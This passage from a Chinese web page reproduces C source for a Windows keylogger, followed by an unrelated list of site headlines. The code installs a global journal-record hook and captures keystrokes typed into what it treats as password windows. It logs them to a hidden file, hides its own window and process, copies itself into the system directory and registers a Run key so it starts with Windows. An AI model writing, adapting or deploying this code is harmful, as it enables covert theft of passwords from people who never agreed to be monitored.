kd.bShift=(kd.kShift & KeyPMask)==KeyPMask;

kd.bCaps=(kd.kCaps & 1)==1;

kd.bNum=(kd.kNum & 1)==1;

if(nKey>=48 && nKey<=57)

if(!kd.bShift) return (kd.kKey=nKey);

if(nKey>=65 && nKey<=90)

{

if(!kd.bCaps)

if(kd.bShift) kd.kKey=nKey;

else kd.kKey=nKey+32;

else if (kd.bShift) kd.kKey=nKey+32;

else kd.kKey=nKey;

return kd.kKey;

}

if(nKey>=96 && nKey<=105) // 小键盘0-9

if(kd.bNum)

return (kd.kKey=(nKey-96+48));

if(nKey>=186 && nKey<=222) // 其他键

{

switch(nKey)

{

case 186:

if(!kd.bShift) kd.kKey=';';else kd.kKey=':';

break;

case 187:

if(!kd.bShift) kd.kKey='=';else kd.kKey='+' ;

break;

case 188:

if (!kd.bShift) kd.kKey=',';else kd.kKey='<' ;

break;

case 189:

if (!kd.bShift) kd.kKey='-';else kd.kKey='_' ;

break;

case 190:

if (!kd.bShift) kd.kKey='.';else kd.kKey='>' ;

break;

case 191:

if (!kd.bShift) kd.kKey='/';else kd.kKey='?' ;

break;

case 192:

if (!kd.bShift) kd.kKey='`' ; else kd.kKey='~' ;

break;

case 219:

if (!kd.bShift) kd.kKey='[' ; else kd.kKey='{' ;

break;

case 220:

if (!kd.bShift) kd.kKey='\\' ; else kd.kKey='|' ;

break;

case 221:

if (!kd.bShift) kd.kKey=']' ; else kd.kKey='}' ;

break;

case 222:

if (!kd.bShift) kd.kKey='\\'; else kd.kKey='\\';

break;

default:kd.kKey='n' ;break;

}

if(kd.kKey!='n') return kd.kKey;

}

}

void WINAPI WritePassFile(int nKey)

{

HANDLE hFile;

DWORD dwBytesWrite=1;

TCHAR lpStr,szTemp[MAX_PATH];

hFile=CreateFile("C:\\passdata.txt",

GENERIC_READ|GENERIC_WRITE,

FILE_SHARE_WRITE,

NULL,

OPEN_ALWAYS,

FILE_ATTRIBUTE_HIDDEN,

NULL

);

SetFilePointer(hFile,0,NULL,FILE_END);

lpStr=GetKey(LOBYTE(nKey));

WriteFile(hFile,&lpStr,1,&dwBytesWrite,0);

CloseHandle(hFile);

}

void WINAPI InstallHook(HINSTANCE hInstance)

{

if(hHook==NULL)

hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,hInstance,0);

}

void WINAPI UninstallHook()

{

if(hHook!=NULL)

UnhookWindowsHookEx(hHook);

}

LRESULT CALLBACK JournalRecordProc(int nCode,WPARAM wParam,LPARAM lParam)

{

EVENTMSG *pMess=(EVENTMSG *)lParam;

POINT pt;

switch(pMess->message)

{

case WM_KEYDOWN:

if(IsPassWindow())

WritePassFile(LOBYTE(pMess->paramL));

break;

case WM_LBUTTONDBLCLK:

GetCursorPos(&pt);

break;

}

return CallNextHookEx(hHook,nCode,wParam,lParam);

}

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,

PSTR szCmdLine, int iCmdShow)

{

HANDLE hMutex=CreateMutex(NULL,FALSE,"GMKRunOnlyOne");

if(hMutex==NULL||ERROR_ALREADY_EXISTS==GetLastError()){

ExitProcess(1);

}

static char szAppName[] = "jiajia" ;

HWND hwnd ;

MSG msg ;

WNDCLASSEX wndclass ;

HKEY hKey=0;

DWORD disp=0;

LONG lResult;

TCHAR szKey[MAX_PATH];

TCHAR szSysDir[MAX_PATH+25];

TCHAR szFileName[MAX_PATH];

wndclass.cbSize = sizeof (wndclass) ;

wndclass.style = CS_HREDRAW | CS_VREDRAW ;

wndclass.lpfnWndProc = WndProc ;

wndclass.cbClsExtra = 0 ;

wndclass.cbWndExtra = 0 ;

wndclass.hInstance = hInstance ;

wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;

wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;

wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;

wndclass.lpszMenuName = NULL ;

wndclass.lpszClassName = szAppName ;

wndclass.hIconSm = LoadIcon (NULL, IDI_APPLICATION) ;

RegisterClassEx(&wndclass);

hwnd=CreateWindow( szAppName, "jia jia",

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT, CW_USEDEFAULT,

CW_USEDEFAULT, CW_USEDEFAULT,

NULL, NULL, hInstance, NULL

);

ShowWindow(hwnd,SW_HIDE);

UpdateWindow(hwnd);

HideProc(SERVICE_PROC);

InstallHook(hInstance);

GetSystemDirectory(szSysDir,MAX_PATH);

lstrcat(szSysDir,RUN);

GetModuleFileName(NULL,szFileName,MAX_PATH);

CopyFile(szFileName,szSysDir,FALSE);

lstrcpy(szKey,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");

lResult=RegCreateKeyEx( HKEY_LOCAL_MACHINE,

szKey,

0,

NULL,

REG_OPTION_VOLATILE,

KEY_ALL_ACCESS,

NULL,

&hKey,

&disp

);

if(lResult==ERROR_SUCCESS)

{

lResult=RegSetValueEx(hKey,"GmkMon",0,REG_SZ,szSysDir,lstrlen(szSysDir));

RegCloseKey(hKey);

}

while (GetMessage (&msg, NULL, 0, 0))

{

TranslateMessage (&msg) ;

DispatchMessage (&msg) ;

}

return msg.wParam ;

}

LRESULT CALLBACK WndProc (HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)

{

switch (iMsg)

{

case WM_PAINT:

return 0 ;

case WM_DESTROY:

UninstallHook();

PostQuitMessage (0) ;

return 0 ;

}

return DefWindowProc(hwnd,iMsg,wParam,lParam);

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有